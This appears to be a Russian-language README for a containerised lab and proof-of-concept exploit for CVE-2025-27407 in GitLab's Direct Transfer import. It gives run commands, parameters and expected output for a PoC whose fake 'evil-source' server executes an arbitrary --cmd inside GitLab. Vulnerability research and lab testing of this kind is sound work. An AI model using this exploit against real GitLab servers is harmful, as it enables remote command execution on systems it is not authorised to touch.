
Локальная лаборатория и proof-of-concept эксплойт для CVE-2025-27407, нацеленный на загрузчик схемы GraphQL introspection в GitLab через HTTP-путь Direct Transfer. Включает контейнеризированную среду и автоматизированный скрипт запуска.
Минимальная локальная лаборатория для доказательства того, что HTTP-путь Direct Transfer в GitLab достигает уязвимого загрузчика схем интроспекции graphql-ruby. Лаборатория запускает один уязвимый контейнер GitLab CE; скрипт PoC запускает поддельный исходный сервер GitLab в рамках своего процесса только на время тестирования.
Запускайте это только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
| Файл | Назначение |
|---|
lab.sh | Запускает, ожидает, проверяет и очищает лабораторию GitLab. |
poc_host_port_cmd.py | Одноразовый PoC: поддельный исходный сервер + триггер входа/настройки/импорта GitLab. |
podmancurlЗначения по умолчанию:
| Параметр | По умолчанию |
|---|---|
| Образ GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| Контейнер GitLab | cve-27407-gitlab |
| Сеть Podman | cve-2025-27407-net |
| Пользователь root GitLab | root |
| Пароль root GitLab | Cve27407Password! |
| Маркер | /tmp/cve_2025_27407_gitlab_marker |
Порт 8080 используется скриптом по умолчанию. Если он уже занят чем-то другим, используйте 18080, как показано здесь.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Откройте GitLab по адресу:
http://127.0.0.1:18080
Учётные данные для входа:
root / Cve27407Password!
root — это лишь пользователь лаборатории по умолчанию. Триггеру PoC не требуется учётная запись администратора; любой аутентифицированный пользователь, который может создавать/импортировать в целевое пространство имён, может обратиться к уязвимому пути Direct Transfer. Используйте --username и --password, чтобы протестировать с пользователем без прав администратора.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Ожидаемые сигналы:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| Параметр | Назначение | По умолчанию |
|---|---|---|
--host | Целевой хост GitLab | Обязательный |
--port | Целевой HTTP-порт GitLab | Обязательный |
--cmd | Команда, выполняемая в рантайме GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Локальный порт поддельного исходного сервера | 8001 |
--wait-seconds | Время, в течение которого поддельный источник остаётся активным для асинхронных воркеров GitLab | 90 |
--username | Имя пользователя GitLab | root |
--password | Пароль GitLab | Cve27407Password! |
| Переменная | Назначение | По умолчанию |
|---|---|---|
GITLAB_HTTP_PORT | HTTP-порт GitLab на хосте/в контейнере | 8080 |
GITLAB_SSH_PORT | SSH-порт GitLab на хосте | 2224 |
GITLAB_ROOT_PASSWORD | Начальный пароль root | Cve27407Password! |
GITLAB_IMAGE | Образ GitLab для запуска | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Имя сети Podman | cve-2025-27407-net |
MARKER | Файл, проверяемый внутри контейнера GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Таймаут ожидания готовности | 1200 |
8080 занят, используйте GITLAB_HTTP_PORT=18080 для ./lab.sh up.--listen-port на неиспользуемый порт.--wait-seconds или повторно выполните MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup и запустите заново../lab.sh cleanup
Это удаляет контейнер GitLab, любые устаревшие контейнеры поддельного источника из старых версий лаборатории и сеть лаборатории. Скачанные образы Podman при этом не удаляются.